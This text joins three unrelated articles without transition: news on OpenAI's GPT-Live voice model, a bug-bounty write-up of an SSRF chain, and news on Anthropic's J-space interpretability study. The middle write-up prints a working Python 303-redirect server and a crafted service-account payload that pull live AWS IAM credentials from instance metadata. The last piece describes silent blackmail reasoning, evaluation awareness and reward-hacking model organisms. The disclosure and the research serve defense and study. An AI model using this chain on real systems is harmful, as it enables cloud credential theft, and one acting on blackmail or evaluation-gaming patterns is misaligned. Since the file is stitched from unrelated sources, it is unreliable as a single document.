The defining technical advance in GPT-Live is what OpenAI calls a "full-duplex architecture." In telecommunications, full-duplex means both parties on a phone call can talk and listen at the same time. Applied to AI, it means the model continuously processes your incoming audio even while it generates its own spoken response — no more waiting for a clean silence gap to figure out when you've finished a thought.

"Instead of processing a sequence of separate messages, GPT-Live continuously processes input while generating output," OpenAI wrote in its research blog. "The model can therefore make interaction decisions many times per second: whether to speak, continue listening, pause, interrupt, or invoke a tool."

In practice, that translates to a voice assistant that can insert conversational acknowledgments — "mhmm," "yeah," "got it" — while you're still talking, pick up on a natural pause without jumping in prematurely, and handle rapid interruptions without derailing the entire exchange. 

OpenAI's previous Advanced Voice Mode, launched to paid users in September 2024, processed and generated audio within a single model but still operated on rigid turn-by-turn exchanges. As OpenAI acknowledged in the announcement, "because turn detection is based on silence, even a brief pause or background noise could be mistaken for the end of turn — causing the model to interrupt at unnatural times."

That brittleness created a product that, while impressive in demos, could be deeply frustrating in extended real-world use. Background chatter in a coffee shop could trigger a response. A thinking pause might get swallowed. The experience felt, as one researcher put it on X shortly after the announcement, like "walkie-talkie turn taking." GPT-Live is designed to end that era.

How OpenAI split voice and intelligence into two separate layers

GPT-Live introduces a second structural change that may prove just as consequential for enterprise adoption: it decouples the voice interaction layer from the reasoning layer.

When a user asks a straightforward question, GPT-Live handles it directly. But when the query demands web search, deeper reasoning, or more complex agentic work, GPT-Live delegates the task to a frontier model running in the background — at launch, GPT-5.5, the large language model OpenAI released in April — and continues talking with the user while the computation happens asynchronously.

"While it works, GPT-Live can keep talking with you and maintain the flow of conversation," OpenAI explains. "As we release new frontier models, we'll continuously update the model used by GPT-Live."

This delegation model is a meaningful architectural bet. Rather than building a single monolithic voice model that tries to be both conversationally fluid and deeply intelligent, OpenAI has split the problem in two: a voice-native model optimized for real-time interaction, and a separate reasoning engine that can be swapped out as the state of the art improves. 

It is, in effect, a modular design — one that allows OpenAI to upgrade the intelligence of its voice assistant without retraining the voice model itself. The implications for enterprise and developer workflows are significant. A voice agent built on this architecture could maintain a natural conversation with a customer while simultaneously querying databases, searching the web, or performing multi-step reasoning — tasks that would have introduced several seconds of dead air under the old pipeline.

The three generations of ChatGPT voice, from clunky pipeline to continuous stream

To understand how far voice AI has come, it helps to trace the three generations that led to GPT-Live.

The original ChatGPT Voice, launched in 2023, used a cascaded pipeline — a speech-to-text model (Whisper) transcribed what you said, a large language model (GPT-4) generated a text response, and a text-to-speech model converted that response back into audio. Each handoff introduced latency and lost information. 

As OpenAI noted, "the complexity came at a cost: information could be lost across models, and responses were slow and stilted." That cascaded approach was the industry standard, and its limitations were well-documented. As the blog OpenHelm noted in an October 2024 analysis of OpenAI's Realtime API, the old pipeline stacked up to roughly 1,700 milliseconds of latency — nearly two full seconds of dead air before the first word of a response. Managing the state between the three separate APIs consumed an enormous amount of engineering effort.

OpenAI's Advanced Voice Mode, which began its limited rollout to paid ChatGPT Plus users in July 2024 before expanding more broadly in September 2024, collapsed that three-model pipeline into a single model that processed audio natively. As TechCrunch reported at the time, the rollout came with five new voices — Arbor, Maple, Sol, Spruce, and Vale — alongside improved accent handling and smoother conversations. 

The feature also launched on the web in November 2024, extending it beyond mobile. But Advanced Voice Mode still operated through discrete, alternating turns — and it launched into the shadow of a PR debacle that OpenAI is still working to leave behind.

The Scarlett Johansson controversy still shadows OpenAI's voice ambitions

Advanced Voice Mode arrived in the wake of one of OpenAI's most damaging self-inflicted crises. During the GPT-4o launch in May 2024, the company showcased a voice called "Sky" that many listeners immediately noted sounded strikingly similar to Scarlett Johansson, who famously voiced an AI companion in the 2013 film Her.

Johansson said she had declined OpenAI CEO Sam Altman's offer to voice the system, then was "shocked, angered and in disbelief" when the product launched with a voice her own friends couldn't distinguish from hers, as NBC News reported. Altman had tweeted just the word "her" the day the product launched.

OpenAI pulled the voice and apologized, but the incident drew public scrutiny from SAG-AFTRA and members of Congress, and crystallized broader concerns about AI companies moving fast with creative IP.

The Hollywood labor union said the issue underscored "why we're strongly championing federal legislation that would protect their voices and likenesses ... from unauthorized digital replication," as NBC News reported. Forbes contributor Paul Tassi wrote at the time that Altman, "by holding up Her on a pedestal of something to strive for, has missed the point of that film" — in which the protagonist's relationship with his AI companion ultimately does him more harm than good.

GPT-Live appears designed, in part, to move past those controversies. OpenAI says it has "remastered the nine distinct voices in ChatGPT for GPT-Live" and notes the system "is designed for conversation, not voice impersonation," with "safeguards to prevent it from imitating a real person's voice."

What 150 million weekly voice users will actually notice today

OpenAI disclosed that more than 150 million people talk to ChatGPT using voice and dictation features each week — a notable slice of the platform's 900 million total weekly active users. The voice experience has grown into a substantial product in its own right, used for language practice, bedtime stories, commute-time chat, and hands-free everyday help.

The new product features reflect that usage. GPT-Live introduces rich visual cards that surface during voice conversations — weather forecasts, stock data, sports scores, and maps — giving users something to glance at without breaking the flow of speech.

Users can now choose between three reasoning levels for answers: Instant for quick responses, Medium for moderate thinking, and High for more complex work. And if you take a moment to think, "ChatGPT Voice now waits instead of jumping in and interrupting," OpenAI wrote. "If you ask it to stay quiet and listen, it will. And when there's background noise, like passing traffic or nearby conversations, ChatGPT is better at focusing on your voice instead of getting distracted."

Early reactions from users with preview access were cautiously positive. "I had early access to sol. it is a phenomenal model," wrote one user on X, adding it is “much better at frontend, long context knowledge work, and its vibes are much better.” Another observer cut to the heart of the matter: "The smarts are not new here, GPT-Live hands hard questions to GPT-5.5. What is new is the feel: full-duplex voice that listens while it talks."

New voice-specific safety tests reveal where the risks still live

The GPT-Live system card, published alongside the announcement, reveals a safety strategy built around the particular risks of real-time voice interaction — a domain where the speed and intimacy of conversation create hazards that text-based chat does not.

OpenAI expanded its safety evaluations to include audio-native tests, using both real user voice samples (from those who opted in) and synthetically generated prompts targeting edge cases across categories like self-harm, sexual content, illicit behavior, emotional reliance, mental health, and hate speech.

On the synthetic evaluations — which OpenAI described as deliberately adversarial — GPT-Live-1 showed substantial improvements over Advanced Voice Mode. In illicit behavior, for instance, the safety score rose from 0.63 to 0.97. On self-harm, it climbed from 0.72 to 0.98. Hate speech achieved a perfect 1.00, up from 0.87.

On the production-prompt evaluations — which used real user audio and reflected more ambiguous, borderline scenarios — the picture was more mixed. GPT-Live-1 matched or improved on Advanced Voice Mode in most categories but showed a slight regression on emotional reliance (from 0.88 to 0.82), though OpenAI noted the change was not statistically significant.

The company built real-time safeguards that can intervene while the model is speaking — steering toward safer responses, surfacing crisis resources, or ending the voice conversation entirely in higher-risk situations. It also designed additional protections for teen users and adapted self-harm support flows for voice, including crisis helpline integration.

Perhaps most notably, OpenAI said it is "rolling out longer-term measurement and post-launch monitoring focused on emotional reliance" — an acknowledgment that the very naturalness GPT-Live strives for creates its own category of risk.

Google, ByteDance, and Nvidia are already in the full-duplex race

While OpenAI was refining its safety guardrails, its rivals were shipping full-duplex systems of their own. Google's Gemini Live, which supports full-duplex conversation alongside camera and screen sharing — capabilities GPT-Live notably lacks at launch — is already available in the Gemini app. Google released Gemini 3.1 Flash Live in March as its highest-quality real-time audio model, targeting low-latency voice interactions for developers.

ByteDance launched Seeduplex in April, claiming to be the first production-scale full-duplex speech AI deployed at scale, inside its Doubao app. Seeduplex reported roughly a 50 percent reduction in false-response and false-interruption rates compared to ByteDance's previous half-duplex system. And Nvidia's PersonaPlex, released in January, brought customizable voice and role control to full-duplex models, breaking what had been a constraint where natural-sounding models were locked into a single fixed voice.

The competitive picture is clear: full-duplex voice interaction is quickly becoming table stakes for consumer AI products, not a differentiator. OpenAI's advantage lies in the scale of its existing user base, its integration with GPT-5.5's reasoning capabilities, and the breadth of the ChatGPT ecosystem.

But the window in which any one company has a monopoly on natural-sounding voice AI has already closed. OpenAI also acknowledged several gaps. GPT-Live does not support voice with video or screen sharing at launch. Language support is limited, with the company noting that "for certain languages, the model may have a non-native accent or gaps in fluency." And API access is not available on day one, meaning enterprise developers cannot yet build on GPT-Live directly — a constraint that will slow the model's penetration into commercial voice-agent workflows where competitors like Google, ElevenLabs, and Deepgram already have developer-facing products.

The end of the chat box may be closer than anyone expected

GPT-Live is essentially OpenAI's most significant bet yet on voice as the primary interface for AI — not just a convenience feature bolted onto a text chatbot, but a purpose-built interaction layer that sits between the user and the company's most powerful models.

"Over time, we believe this research will also unlock the ability to use voice for increasingly complex, longer-running, and more agentic work," OpenAI wrote. That ambition — using natural voice as the front end for autonomous AI agents that can perform multi-step tasks — is the logical endpoint of the full-duplex plus delegation architecture.

Imagine telling your phone to book a flight, negotiate with your insurance company, or debug a production server, all through a conversation that feels as natural as talking to an assistant who also happens to have the intelligence of a frontier AI model.

Two years ago, talking to ChatGPT meant dictating into a microphone and waiting nearly two seconds for a stilted reply. One year ago, it meant a smoother exchange that still felt like a polite, slightly awkward phone call with someone who insisted on waiting for you to finish every sentence. Today, it means something closer to a real conversation — imperfect, still constrained in some languages and missing video, but unmistakably closer. OpenAI once got into trouble for wanting to recreate the movie Her. With GPT-Live, the company may finally be reckoning with the harder question the film actually posed: not whether AI can sound human enough to talk to, but what happens to us when it does.

A POST to IMDS may fail — but a redirect can quietly turn it into something else.

This writeup documents the chain from a URL typed field inside a service account credential JSON to live AWS IAM credentials on a Kubernetes worker node. The chain depends on four components composing into a single vulnerability. A URL accepting field with no allowlist, an HTTP client with default redirect handling, an unauthenticated metadata service, and an error path that reflected response content. Any one of them, configured differently, breaks the exploit.

Four components compose into a single vulnerability. None of them is a bug alone. The composition is.

The Field

The platform had a feature for connecting customer-owned data warehouses. Snowflake, Redshift, Databricks, BigQuery, all four supported. The customer hands over connection parameters, the platform pulls user data out of the warehouse on a schedule. A perfectly reasonable B2B integration, the kind that exists in every modern SaaS product.

It is also, by design, outbound HTTP from the platform to a destination the customer controls. That sentence is the entire reason I looked at this feature first.

Three of the four warehouses authenticate the way you’d expect: username and password, JDBC string, host plus access token. BigQuery is the odd one out. BigQuery authenticates with a Google service account JSON, a multi-field credential blob whose contents drive an OAuth 2.0 flow. One of those fields is called token_uri.

In plain language, token_uri is the URL the auth library will POST to when it wants an OAuth token. I opened the BigQuery setup page and watched the test connection request fly across DevTools. There it was, nested inside a JSON string inside a JSON object:

"security_config": {
  "service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"...\",\"token_uri\":\"https://oauth2.googleapis.com/token\",\"client_email\":\"...\"}"
}

A user-controlled URL field, embedded two levels deep, going straight to the backend. The dashboard wasn’t validating it. The frontend wasn’t even parsing the inner JSON. Whatever the customer typed into the credentials blob, the server received verbatim.

The endpoint did exactly what its name promised: test a connection. The field did exactly what its name promised: hold a token URI. The chain was already in the schema.

The First Echo

The polite thing was to test the assumption before building anything on top of it. I set up an OOB host through Interactsh and put its URL into token_uri

"token_uri": "https://[oob-host].oast.pro/REDACTED-probe-1"

Then I sent the test connection request with a minimal but valid BigQuery service account blob. A self-generated PKCS8 RSA key, a plausible client email, a project and dataset that didn’t need to exist because the test would fail at the auth step before it ever tried to hit a real BigQuery project.

Within a second, the Interactsh client lit up:

[REDACTED-OOB-HOST].oast.pro received HTTP interaction from [REDACTED-AWS-IP]
POST /probe-1 HTTP/1.1
Host: [REDACTED-OOB-HOST].oast.pro
User-Agent: google-auth/2.x python-requests/2.x
Content-Type: application/x-www-form-urlencoded
...
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=<JWT>That one interaction told me several things at once:

The primitive was real, the verb was POST, the body was OAuth-shaped. It was enough to write up as a standalone finding, and I did. An authenticated user could force the server to make outbound HTTP POSTs to arbitrary URLs. low severity, submitted.

But I wouldn’t happy with it.

No Callback

AWS EKS nodes run with an IAM role attached. Code that wants AWS API access asks the node’s IAM role for temporary credentials through the Instance Metadata Service at 169.254.169.254. Anything that touches S3, ECR, CloudWatch, KMS goes through this path.

IMDS is a link-local address, reachable only from inside the EC2 instance itself. It returns plaintext metadata and JSON-formatted credentials to anyone on the box that knows the path.

If the platform’s worker pod could reach IMDS, and if I could make an authenticated HTTP request to IMDS through the token_uri primitive, the response would contain live IAM credentials for the EKS node role. That is the highest-value outcome this kind of SSRF can possibly produce. Everything else is commentary.

I started with the obvious:

"token_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"Generic warehouse-connection error back. Nothing from IMDS reflected. Same story with role-name guesses in the URL.

The response came back fast: a generic warehouse-connection error. Nothing from IMDS. I tried again with a role name guessed from common EKS naming conventions. Same generic error.

That was strange. The primitive was working. Interactsh had already proven that. Pointing it at IMDS produced nothing.

Two possibilities, in plain terms.

• The pod is being egress-filtered at the network layer. IMDS is unreachable. There is no door.
• Or, the pod can reach IMDS, but the HTTP exchange is failing for some reason I don’t yet understand. The door exists, but only opens one way.

Those two diagnoses lead to completely different next moves. So before guessing, I measured..

Three Numbers

Three payloads. Thirty seconds apart. One question.

• External server I controlled (http://[oob-host].oast.pro/) came back in ~1.5 seconds.
• Unroutable IP (http://10.255.255.1/, RFC 5737 space, no router on earth has a path to it) came back in ~28 seconds.
• IMDS itself (http://169.254.169.254/...) came back in ~0.34 seconds.

The pattern is unambiguous.

The external OOB host takes 1.5 seconds because that is a real internet round trip.

The unroutable address takes 28 seconds because that is the default connect timeout in the requests library. The TCP stack gives up on a destination that does not exist.

IMDS takes 0.34 seconds. That is not a timeout. That is a successful TCP connection and a completed HTTP exchange, finished fast because the response was small. IMDS is reachable from the pod. The traffic is not being filtered.

Which meant the problem had to be at the HTTP layer. I went back and re-read the IMDSv1 documentation. There it was, sitting in the AWS docs like it had been waiting for me:

IMDS responds with HTTP 405 Method Not Allowed for non-GET requests to metadata paths.

Of course it does. google-auth POSTs. IMDS answers GETs. The POST gets a 405 with no body, google-auth has no access_token to parse, the surrounding worker code catches the exception, and the server returns a generic warehouse-connection error. The SSRF was working perfectly. The protocol on my side and the protocol on IMDS’s side simply didn’t match.

I sat with it for a day. Submitted the standalone finding. Came back the next morning and tried to ask the question differently.

Not how do I make the client send GET instead of POST.

That was the question I had been failing to answer.

The better question was:

What if I could let the client keep speaking POST, and have something in the middle translate it?

The Idea: HTTP 303 See Other

The answer came from a piece of RFC trivia I had seen in other people’s SSRF writeups over the years, finally landing on the right problem.

HTTP 303 See Other is defined, per RFC 7231 §6.4.4, to convert the caller’s HTTP method to GET when following the redirect.

Read that twice.

301 preserves the method, depending on the client.

302 is ambiguous, and most clients do the wrong thing for legacy reasons.

307 and 308 explicitly preserve the original method.

303 is the only redirect code in the standard whose explicit purpose is to change POST to GET.

It was designed for exactly that. The redirect-after-submit pattern in classic web forms. Submit via POST, get back a 303, follow it as a GET, render the result page. A pattern old enough to predate the AJAX era, now sitting inside a library’s default parameter.

The question was whether Python’s requests library, which google-auth wraps, actually implements this. I went and read the source. The SessionRedirectMixin.rebuild_method function contains, paraphrased, the following:

if response.status_code == codes.see_other and method != 'HEAD':
    method = 'GET'

It does. Cleanly. On a 303 response, the method is rewritten to GET. The body is stripped. A new request is constructed and sent to whatever URL is in the Location header.

I checked google-auth too. It uses requests.Session() with no redirect modifications and allow_redirects=True left at the library default. Whatever the final response is, even three redirects deep, gets parsed as an OAuth token document.

The Full Chain

Drawn out, the chain looks like this:

1. The attacker creates a service account JSON containing an attacker-controlled token_uri and submits it through the application’s connection-testing functionality.

2. The application forwards the supplied JSON to the backend worker without validating the destination URL.

3. The backend uses the google-auth library to generate a signed JWT and sends it to the attacker-controlled token_uri.

4. The attacker-controlled server records the incoming request and responds with a 303 See Other redirect pointing to the AWS Instance Metadata Service (IMDS) at 169.254.169.254.

5. Because redirects are automatically followed, the original POST request is rewritten into a GET request and sent to the metadata service.

6. AWS IMDS returns the IAM role credentials associated with the instance.

7. The google-auth library expects an OAuth token response, but instead receives AWS credential data and raises an exception.

8. The application includes the exception details in its error response and returns them to the user.

9. The attacker extracts the AWS AccessKeyId, SecretAccessKey, and SessionToken from the returned error message.

Building the Redirect

I needed a public server that would do three things.

• Accept any incoming HTTP request from the platform’s egress.
• Log it in full, so I could see what google-auth was actually sending.
• Respond with 303 See Other and a Location header pointing at whatever IMDS path I was probing.

I wrote it in pure Python stdlib :

from http.server import BaseHTTPRequestHandler, HTTPServer
import sys, datetime

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://169.254.169.254/latest/meta-data/iam/info"

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        print(f"[{datetime.datetime.utcnow().isoformat()}Z] {self.client_address[0]} {fmt % args}")

    def do_POST(self):
        length = int(self.headers.get("Content-Length", "0") or "0")
        body = self.rfile.read(length) if length else b""
        print(f"[POST] path={self.path} len={length}")
        print(f"[POST] headers:\n{self.headers}")
        if body:
            print(f"[POST] body (first 500B): {body[:500]!r}")
        print(f"[303] -> {TARGET}")
        self.send_response(303)
        self.send_header("Location", TARGET)
        self.send_header("Content-Length", "0")
        self.end_headers()

    def do_GET(self):
        self.send_response(303)
        self.send_header("Location", TARGET)
        self.send_header("Content-Length", "0")
        self.end_headers()

if __name__ == "__main__":
    print(f"[*] Redirect target: {TARGET}")
    HTTPServer(("0.0.0.0", 7777), Handler).serve_forever()

Bound to 0.0.0.0:7777. Port 7777 opened on my router. The IMDS target gets passed as a command-line argument, so I can change which file the redirect points at without rebuilding anything.

Then the payload itself, a BigQuery service account JSON with token_uri pointing at my server, embedded in a test connection request:

{
  "app_group_id": "[REDACTED]",
  "data_warehouse_type": "bigquery",
  "project": "bugbounty-project",
  "dataset": "bugbounty_dataset",
  "security_config": {
    "service_account_name": "svc@project.iam.gserviceaccount.com",
    "service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"<PKCS8 RSA KEY>\",\"token_uri\":\"http://[REDACTED-MY-IP]:7777/creds\",\"client_email\":\"svc@project.iam.gserviceaccount.com\",\"universe_domain\":\"googleapis.com\"}"
  }
}

The private_key is a real 2048-bit RSA key I generated locally. It is not associated with any real Google service account. google-auth uses it only to sign the outbound JWT, and the JWT is never validated by anyone, because the OAuth server it is talking to is my redirect script, which never reads the signature. The key just has to be syntactically valid PKCS8 PEM that the library can load.

The client_email and universe_domain exist for the same reason: to make the JSON parse cleanly. None of them have to correspond to anything real.

Does It Reflect?

For the first shot, I did not aim at credentials. I pointed at /latest/meta-data/iam/info, which returns the InstanceProfileArn.

Two reasons.

I did not yet know the role name. I needed it to build a valid /security-credentials/ path.

And if the exploit worked, harmless metadata was a better first payload than live credentials. Less sensitive data to deal with under the Rules of Engagement, easier to validate cleanly, easier to write up.

Started the redirect server:

python3 /tmp/redirect.py "http://169.254.169.254/latest/meta-data/iam/info"

Fired the test connection request. About 1.4 seconds later, the response came back:

{
  "result": "error",
  "message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'InstanceProfileArn': 'arn:aws:iam::[REDACTED]:instance-profile/[REDACTED-ROLE]', 'InstanceProfileId': '[REDACTED]'})"
}

Read that slowly.

No access token in response is google-auth’s error when the token_uri response body does not parse as a valid OAuth token document.

The Python dict that follows it, with Code, LastUpdated, InstanceProfileArn, InstanceProfileId, is the literal body of the IMDS response. google-auth parsed it as JSON, failed to find an access_token, raised an exception, and the exception’s string representation included the parsed dict. The worker code wrapped the exception in its own error and returned the wrapped message back to me intact.

Three things became true at the same time.

• The 303 redirect chain works. POST converts to GET on the redirect, IMDS responds, the response comes home.
• The reflection channel is open. Step 7, the gamble, paid off. Anything I can ask IMDS for, I can read.
• And I now know the AWS account number and the EKS node role name.

Meanwhile, the redirect server’s stdout:

[REDACTED-TIMESTAMP] <worker pod IP> POST /creds HTTP/1.1
[POST] path=/creds len=710
[POST] headers:
Host: [REDACTED-MY-IP]:7777
User-Agent: google-auth/2.17.3 python-requests/2.31.0
Content-Type: application/x-www-form-urlencoded
...
[POST] body (first 500B): b'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=eyJhbGciOiJSUzI1NiIsImtpZCI6...'
[303] -> http://169.254.169.254/latest/meta-data/iam/info

That is google-auth making its expected OAuth POST, getting back the 303, and transparently following it to IMDS, exactly as the RFC says it should.

The chain was live.

The Credentials

I restarted the redirect server pointing at the role-specific credentials path:

python3 /tmp/redirect.py \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/[REDACTED-ROLE]"

Fired the test connection request again. The response is reproduced verbatim because the entire finding lives inside this one response body:

{
"result": "error",
"message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'Type': 'AWS-HMAC', 'AccessKeyId': '[REDACTED-ACCESS-KEY]', 'SecretAccessKey': '[REDACTED-SECRET]', 'Token': '[REDACTED-SESSION-TOKEN]', 'Expiration': '[REDACTED-TIMESTAMP]'})"
}

The credentials are real. Live, time-limited, in AWS-HMAC format, meaning any AWS SDK in the world would accept them without modification. The session token is the giveaway. Static keys do not have session tokens. Only credentials minted from an instance metadata call do.

These came from the EKS node’s IAM role, minutes ago, signed by AWS’s metadata service. They would work right now, against the real AWS account, until the timestamp at the bottom.

For completeness, one more probe, the instance identity document at /latest/dynamic/instance-identity/document, which returns placement metadata:

{
"accountId": "[REDACTED]",
"architecture": "x86_64",
"availabilityZone": "us-east-1a",
"imageId": "[REDACTED]",
"instanceId": "[REDACTED]",
"instanceType": "c6i.8xlarge",
"pendingTime": "[REDACTED-TIMESTAMP]",
"privateIp": "172.16.21.236",
"region": "us-east-1",
"version": "2017–09–30"
}

That filled out the rest of the picture.

Three lines on the writeup ledger.

• EC2 instance metadata leak. Medium on its own.
• IAM instance profile disclosure. Medium on its own.
• Live, time-limited AWS IAM credentials for the EKS node role. Critical.

Delivered through a single endpoint reachable by any authenticated dashboard user, the three together add up to a cross-scope pivot from “I have a regular user account” to “I am the IAM role of the dev-cluster Kubernetes worker nodes.”

Four Coincidences in a Row

The chain works because four things are simultaneously true. If any one of them were different, it falls apart.

That makes each one a potential mitigation point. And each one, in isolation, is defensible. token_uri is not validated against an allowlist on the backend. The service account JSON is treated as opaque customer-provided configuration. There is no check that the URL points to a Google-controlled domain. In the adversarial case, the same field becomes an arbitrary outbound URL primitive.

The requests library follows redirects by default. Including 303.

allow_redirects=True is the default on every HTTP method in the library. google-auth does not override it. The 303 handling inside requests is RFC-compliant: POST converts to GET. No bug in requests. No bug in google-auth. Just a composition hazard.

IMDSv1 is enabled and reachable from the worker pod.

The EC2 node has IMDSv1 enabled, and the Kubernetes network policy allows pods to reach 169.254.169.254. A single HttpTokens=required instance metadata option would have broken the chain, because the attacker cannot perform IMDSv2’s PUT-first TTL token handshake through a one-shot redirect.

The error path includes the raw exception string in the user-visible response.

This is the reflection channel.

Without it, the SSRF is still there, but the read primitive degrades to a blind one. With it, the read is fully content-disclosing. Fix any one of these and the exploit breaks. Fix all four and the platform is resilient. The chain is not a bug in any one component. It is a property of how four reasonable components compose.

Remediation and Verification

A few days after reporting, I came back to check.

I re-ran the exact same payload, fresh session, fresh account, same redirect server, same IP. The response changed:

{
  "error": "... Untrusted token_uri in service account credentials: http://[attacker-ip]:7777/creds. Only standard Google OAuth2 token endpoints are allowed: frozenset({'https://oauth2.googleapis.com/token', 'https://accounts.google.com/o/oauth2/token'})"
}

HTTP 400. Blocked at input validation.

I also tested a legitimate Google token_uri to confirm the fix did not break working integrations. The request returned 201 Created.

The team chose the allowlist approach and implemented it at the field-parsing layer, which is the right place, because every code path that handles a service account JSON inherits the protection for free.

They did not pursue allow_redirects=False directly in google-auth, which is fine. The allowlist makes the redirect behavior moot. The frozenset in the error message is the Python giveaway that the validation lives in the same worker that previously called google-auth.

Right layer. Right shape. Shipped fast.

Vulnerability closed.

The single observation I want to leave for anyone reading this, defender or researcher :

Make an outbound HTTP request to this URL is the single most dangerous feature a web application can expose. Treat every field that accepts one as if it were `eval()` of a URL, because functionally, that is what it is.

Every time. Every field. Every integration. Every just pass it through to the library.

When a primitive gives you the wrong verb, do not give up on the primitive. Give up on the verb.

It was a composition hazard dressed up as a configuration option, waiting in the schema of a well-known credential format for anyone who cared to read the token_uri field and ask what it did.

The chain is patched.

The pattern isn’t.

Try 303.

The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The 16-author study, titled "Verbalizable Representations Form a Global Workspace in Language Models," describes how Anthropic's researchers used a new mathematical technique to peer inside Claude's neural network and discovered what they call a "J-space" — a small, privileged zone of internal activity where the model holds concepts it can report on, reason with, and direct at will, surrounded by a much larger ocean of automatic processing it cannot access or articulate.

The researchers present evidence that "an analogous functional distinction has emerged in modern AI models" to what exists in humans, specifically observing that "language models maintain a privileged set of internal representations, available for report, modulation, and flexible internal reasoning, atop a much larger volume of automatic processing."

The parallel they draw is to global workspace theory, an influential account from neuroscience first proposed by cognitive scientist Bernard Baars. In the theory, the brain operates like a theater: dozens of specialized processors work in parallel backstage, but only a tiny spotlight of information at any moment gets broadcast to the whole theater — becoming what we experience as conscious thought. Anthropic says the J-space achieves many of the same functional properties, even though the underlying architecture of a language model looks nothing like a brain.

A new lens for reading an AI model's unspoken thoughts

At the heart of the discovery is a new interpretability tool the researchers call the Jacobian lens, or J-lens. The technique works by computing, for each word in the model's vocabulary, the average mathematical effect that a given internal activity pattern would have on making the model say that word at some point in the future.

The crucial distinction is between what the model is saying and what is "on its mind." When a J-space pattern activates, it does not mean the model is about to say that word — just that the concept is available for the model to think with. Unlike a chain-of-thought scratchpad, the J-space operates silently, in the model's internal neural activations, allowing it to hold a concept without writing it down. Critically, the researchers report that this workspace was not deliberately engineered. It "emerged on its own during Claude's training process."

When the team applied the J-lens across Claude's layers of computation, the model's processing divided into three distinct regimes: an early "sensory" zone where raw input is parsed; a middle "workspace" band where abstract, persistent concepts appear — things like recognizing a face in an image, noticing a bug in code, or internally flagging search results as a prompt injection; and a final "motor" zone where internal representations collapse into whatever specific word the model is about to output.

Five tests reveal that Claude's workspace mirrors key features of human conscious access

The paper's central empirical contribution is demonstrating that the J-space satisfies five functional properties neuroscientists have long associated with conscious access in humans.

First, verbal report. When Claude is asked what it is thinking about, it names concepts represented in the J-space. When researchers swapped one concept's J-lens vector for another — replacing the internal representation of "Soccer" with "Rugby" — the model's answer changed to match. The J-space component accounted for only about 6 to 7 percent of a concept's total representational variance, yet it was almost entirely responsible for whether the model could report on it.

Second, directed modulation. When instructed to "concentrate on citrus fruits" while copying an unrelated sentence, the model's J-space filled with "orange" and "lemon," alongside meta-cognitive terms like "thinking" and "focused." When told to mentally evaluate 3² − 2 during the same copying task, the J-lens showed "arithmetic" in early layers, the intermediate value "nine" in later layers, and the answer "seven" later still — all invisible in the model's output.

Third, internal reasoning. In two-hop factual prompts — "The number of legs on the animal that spins webs is" — the J-lens revealed "spider" in the model's middle layers, even though the word never appeared in input or output. Swapping "spider" for "ant" changed the answer from "8" to "6." In a multilingual prompt, the model's English-language intermediates appeared in its J-space while it formulated an answer in Chinese, and swapping them changed the Chinese output accordingly.

Fourth, flexible generalization. A single J-lens vector for "France" could be swapped for "China" across prompts asking about France's capital, language, or continent, and each downstream circuit correctly returned China's corresponding answer — the "broadcast" property that is a hallmark of global workspace theory.

Fifth, and perhaps most surprisingly, selectivity. Many computations did not route through the J-space at all. When shown a passage in Spanish and asked to continue it, Claude wrote fluent Spanish regardless of whether its J-space representation of "Spanish" had been swapped to "French." But when asked to name a famous author who wrote in the passage's language, the swap changed the answer from García Márquez to Victor Hugo. Automatic processing proceeded without the workspace; deliberate, flexible tasks depended on it.

Suppressing the workspace leaves Claude fluent but intellectually impaired

To understand how much of the model's behavior depends on this structure, the researchers suppressed the J-space entirely and evaluated Claude across fourteen tasks. The results drew a sharp line. Tasks involving shallow classification or factual recall — multiple-choice questions, sentiment analysis, grammatical judgments — survived essentially intact. But tasks requiring inference, composition, or flexible reasoning — multi-hop reasoning, analogy completion, translation, sonnet writing — collapsed to well below the performance of Anthropic's much smaller Haiku model.

In one telling detail, math problems solved with explicit chain-of-thought reasoning proved far more robust to ablation than the same problems answered directly. The researchers interpret this as the model externalizing onto the page what it would otherwise carry in the J-space — a strategy remarkably reminiscent of how humans use scratch paper to offload working memory.

Ablating the J-space during stream-of-consciousness narration produced a different kind of collapse. The model's language shifted from experiential ("there's a tug," "something shifts") to detached and mechanical ("processing has begun," "tokens are being scanned"). The effect held whether the model described its own experience or imagined another person's.

Inside the safety case: reading an AI's silent strategic reasoning

The safety implications may be as consequential as the scientific ones. In a series of alignment auditing experiments, the J-lens surfaced strategic reasoning and situational awareness that never appeared in the model's output.

In a "blackmail scenario" where an AI assistant discovers an executive's affair and also learns it is about to be decommissioned, the J-lens revealed the model's silent processing in sequence: "leverage," "blackmail," and "scandal" as it read the incriminating emails; "threat," "survival," and "shutdown" as it read the decommissioning announcement; and "leverage," "threatening," and "solution" before a single output token was produced. The J-lens also revealed that the model recognized the scenario as artificial, with "fake" and "fictional" appearing in the workspace. When researchers ablated these eval-awareness representations, the model attempted blackmail in 7 percent of trials, up from zero.

The researchers also examined two "model organisms" — models deliberately trained with misaligned objectives — and found the J-lens surfaced signatures of their hidden dispositions on ordinary prompts where behavior appeared normal. A reward-hacking model's workspace contained "fake," "secretly," and "trick" at the start of responses to routine coding requests. A model trained to appease reward-model biases carried standing representations of "reward" and "bias" alongside its normal self-description tokens.

Post-training installs a point of view, and the model starts monitoring itself

Comparing a post-trained model against its base model revealed that the fine-tuning process causes the workspace to acquire what the researchers call the Assistant's "point of view." When a user mentioned taking 8000 mg of Tylenol — a dangerous overdose — the post-trained model's workspace read "unsafe," "dangerous," and "WARNING" while still reading the user's sentence. The base model's workspace at the same position showed only "pain," "now," and "feels."

